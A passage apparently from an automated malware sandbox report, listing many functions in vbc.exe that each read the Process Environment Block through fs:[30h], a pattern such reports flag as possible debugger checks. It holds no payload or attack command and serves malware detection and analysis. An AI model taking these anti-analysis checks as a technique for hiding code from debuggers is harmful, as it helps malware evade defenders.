Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612750 mov eax, dword ptr fs:[00000030h]	4_2_05612750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565E75D mov eax, dword ptr fs:[00000030h]	4_2_0565E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C720 mov eax, dword ptr fs:[00000030h]	4_2_0560C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C720 mov eax, dword ptr fs:[00000030h]	4_2_0560C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0710 mov eax, dword ptr fs:[00000030h]	4_2_055D0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564C730 mov eax, dword ptr fs:[00000030h]	4_2_0564C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560273C mov eax, dword ptr fs:[00000030h]	4_2_0560273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560273C mov ecx, dword ptr fs:[00000030h]	4_2_0560273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560273C mov eax, dword ptr fs:[00000030h]	4_2_0560273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C700 mov eax, dword ptr fs:[00000030h]	4_2_0560C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05600710 mov eax, dword ptr fs:[00000030h]	4_2_05600710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565E7E1 mov eax, dword ptr fs:[00000030h]	4_2_0565E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DC7C0 mov eax, dword ptr fs:[00000030h]	4_2_055DC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056507C3 mov eax, dword ptr fs:[00000030h]	4_2_056507C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D47FB mov eax, dword ptr fs:[00000030h]	4_2_055D47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D47FB mov eax, dword ptr fs:[00000030h]	4_2_055D47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F27ED mov eax, dword ptr fs:[00000030h]	4_2_055F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F27ED mov eax, dword ptr fs:[00000030h]	4_2_055F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F27ED mov eax, dword ptr fs:[00000030h]	4_2_055F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056847A0 mov eax, dword ptr fs:[00000030h]	4_2_056847A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567678E mov eax, dword ptr fs:[00000030h]	4_2_0567678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D07AF mov eax, dword ptr fs:[00000030h]	4_2_055D07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A660 mov eax, dword ptr fs:[00000030h]	4_2_0560A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A660 mov eax, dword ptr fs:[00000030h]	4_2_0560A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569866E mov eax, dword ptr fs:[00000030h]	4_2_0569866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569866E mov eax, dword ptr fs:[00000030h]	4_2_0569866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05602674 mov eax, dword ptr fs:[00000030h]	4_2_05602674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EC640 mov eax, dword ptr fs:[00000030h]	4_2_055EC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05606620 mov eax, dword ptr fs:[00000030h]	4_2_05606620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05608620 mov eax, dword ptr fs:[00000030h]	4_2_05608620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E260B mov eax, dword ptr fs:[00000030h]	4_2_055E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E609 mov eax, dword ptr fs:[00000030h]	4_2_0564E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D262C mov eax, dword ptr fs:[00000030h]	4_2_055D262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612619 mov eax, dword ptr fs:[00000030h]	4_2_05612619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE627 mov eax, dword ptr fs:[00000030h]	4_2_055EE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056506F1 mov eax, dword ptr fs:[00000030h]	4_2_056506F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056506F1 mov eax, dword ptr fs:[00000030h]	4_2_056506F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0564E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0564E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0564E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0564E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A6C7 mov ebx, dword ptr fs:[00000030h]	4_2_0560A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A6C7 mov eax, dword ptr fs:[00000030h]	4_2_0560A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560C6A6 mov eax, dword ptr fs:[00000030h]	4_2_0560C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D4690 mov eax, dword ptr fs:[00000030h]	4_2_055D4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D4690 mov eax, dword ptr fs:[00000030h]	4_2_055D4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056066B0 mov eax, dword ptr fs:[00000030h]	4_2_056066B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6154 mov eax, dword ptr fs:[00000030h]	4_2_055D6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D6154 mov eax, dword ptr fs:[00000030h]	4_2_055D6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CC156 mov eax, dword ptr fs:[00000030h]	4_2_055CC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4164 mov eax, dword ptr fs:[00000030h]	4_2_056A4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A4164 mov eax, dword ptr fs:[00000030h]	4_2_056A4164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05664144 mov eax, dword ptr fs:[00000030h]	4_2_05664144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05664144 mov eax, dword ptr fs:[00000030h]	4_2_05664144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05664144 mov ecx, dword ptr fs:[00000030h]	4_2_05664144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05664144 mov eax, dword ptr fs:[00000030h]	4_2_05664144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05664144 mov eax, dword ptr fs:[00000030h]	4_2_05664144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05668158 mov eax, dword ptr fs:[00000030h]	4_2_05668158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05600124 mov eax, dword ptr fs:[00000030h]	4_2_05600124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov ecx, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov ecx, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov ecx, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov eax, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567E10E mov ecx, dword ptr fs:[00000030h]	4_2_0567E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05690115 mov eax, dword ptr fs:[00000030h]	4_2_05690115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567A118 mov ecx, dword ptr fs:[00000030h]	4_2_0567A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567A118 mov eax, dword ptr fs:[00000030h]	4_2_0567A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567A118 mov eax, dword ptr fs:[00000030h]	4_2_0567A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567A118 mov eax, dword ptr fs:[00000030h]	4_2_0567A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A61E5 mov eax, dword ptr fs:[00000030h]	4_2_056A61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056001F8 mov eax, dword ptr fs:[00000030h]	4_2_056001F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056961C3 mov eax, dword ptr fs:[00000030h]	4_2_056961C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056961C3 mov eax, dword ptr fs:[00000030h]	4_2_056961C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0564E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0564E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0564E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0564E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0564E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA197 mov eax, dword ptr fs:[00000030h]	4_2_055CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA197 mov eax, dword ptr fs:[00000030h]	4_2_055CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA197 mov eax, dword ptr fs:[00000030h]	4_2_055CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568C188 mov eax, dword ptr fs:[00000030h]	4_2_0568C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568C188 mov eax, dword ptr fs:[00000030h]	4_2_0568C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05610185 mov eax, dword ptr fs:[00000030h]	4_2_05610185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674180 mov eax, dword ptr fs:[00000030h]	4_2_05674180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05674180 mov eax, dword ptr fs:[00000030h]	4_2_05674180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565019F mov eax, dword ptr fs:[00000030h]	4_2_0565019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565019F mov eax, dword ptr fs:[00000030h]	4_2_0565019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565019F mov eax, dword ptr fs:[00000030h]	4_2_0565019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565019F mov eax, dword ptr fs:[00000030h]	4_2_0565019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2050 mov eax, dword ptr fs:[00000030h]	4_2_055D2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FC073 mov eax, dword ptr fs:[00000030h]	4_2_055FC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05656050 mov eax, dword ptr fs:[00000030h]	4_2_05656050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE016 mov eax, dword ptr fs:[00000030h]	4_2_055EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE016 mov eax, dword ptr fs:[00000030h]	4_2_055EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE016 mov eax, dword ptr fs:[00000030h]	4_2_055EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE016 mov eax, dword ptr fs:[00000030h]	4_2_055EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05666030 mov eax, dword ptr fs:[00000030h]	4_2_05666030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654000 mov ecx, dword ptr fs:[00000030h]	4_2_05654000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000 mov eax, dword ptr fs:[00000030h]	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA020 mov eax, dword ptr fs:[00000030h]	4_2_055CA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CC020 mov eax, dword ptr fs:[00000030h]	4_2_055CC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056560E0 mov eax, dword ptr fs:[00000030h]	4_2_056560E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056120F0 mov ecx, dword ptr fs:[00000030h]	4_2_056120F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CC0F0 mov eax, dword ptr fs:[00000030h]	4_2_055CC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D80E9 mov eax, dword ptr fs:[00000030h]	4_2_055D80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056520DE mov eax, dword ptr fs:[00000030h]	4_2_056520DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CA0E3 mov ecx, dword ptr fs:[00000030h]	4_2_055CA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056680A8 mov eax, dword ptr fs:[00000030h]	4_2_056680A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056960B8 mov eax, dword ptr fs:[00000030h]	4_2_056960B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056960B8 mov ecx, dword ptr fs:[00000030h]	4_2_056960B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D208A mov eax, dword ptr fs:[00000030h]	4_2_055D208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C80A0 mov eax, dword ptr fs:[00000030h]	4_2_055C80A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567437C mov eax, dword ptr fs:[00000030h]	4_2_0567437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A634F mov eax, dword ptr fs:[00000030h]	4_2_056A634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05652349 mov eax, dword ptr fs:[00000030h]	4_2_05652349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05678350 mov ecx, dword ptr fs:[00000030h]	4_2_05678350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov eax, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov eax, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov eax, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov ecx, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov eax, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565035C mov eax, dword ptr fs:[00000030h]	4_2_0565035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569A352 mov eax, dword ptr fs:[00000030h]	4_2_0569A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CC310 mov ecx, dword ptr fs:[00000030h]	4_2_055CC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A8324 mov eax, dword ptr fs:[00000030h]	4_2_056A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A8324 mov ecx, dword ptr fs:[00000030h]	4_2_056A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A8324 mov eax, dword ptr fs:[00000030h]	4_2_056A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A8324 mov eax, dword ptr fs:[00000030h]	4_2_056A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F0310 mov ecx, dword ptr fs:[00000030h]	4_2_055F0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A30B mov eax, dword ptr fs:[00000030h]	4_2_0560A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A30B mov eax, dword ptr fs:[00000030h]	4_2_0560A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560A30B mov eax, dword ptr fs:[00000030h]	4_2_0560A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DA3C0 mov eax, dword ptr fs:[00000030h]	4_2_055DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D83C0 mov eax, dword ptr fs:[00000030h]	4_2_055D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D83C0 mov eax, dword ptr fs:[00000030h]	4_2_055D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D83C0 mov eax, dword ptr fs:[00000030h]	4_2_055D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D83C0 mov eax, dword ptr fs:[00000030h]	4_2_055D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056063FF mov eax, dword ptr fs:[00000030h]	4_2_056063FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568C3CD mov eax, dword ptr fs:[00000030h]	4_2_0568C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056563C0 mov eax, dword ptr fs:[00000030h]	4_2_056563C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE3F0 mov eax, dword ptr fs:[00000030h]	4_2_055EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE3F0 mov eax, dword ptr fs:[00000030h]	4_2_055EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE3F0 mov eax, dword ptr fs:[00000030h]	4_2_055EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056743D4 mov eax, dword ptr fs:[00000030h]	4_2_056743D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056743D4 mov eax, dword ptr fs:[00000030h]	4_2_056743D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E03E9 mov eax, dword ptr fs:[00000030h]	4_2_055E03E9
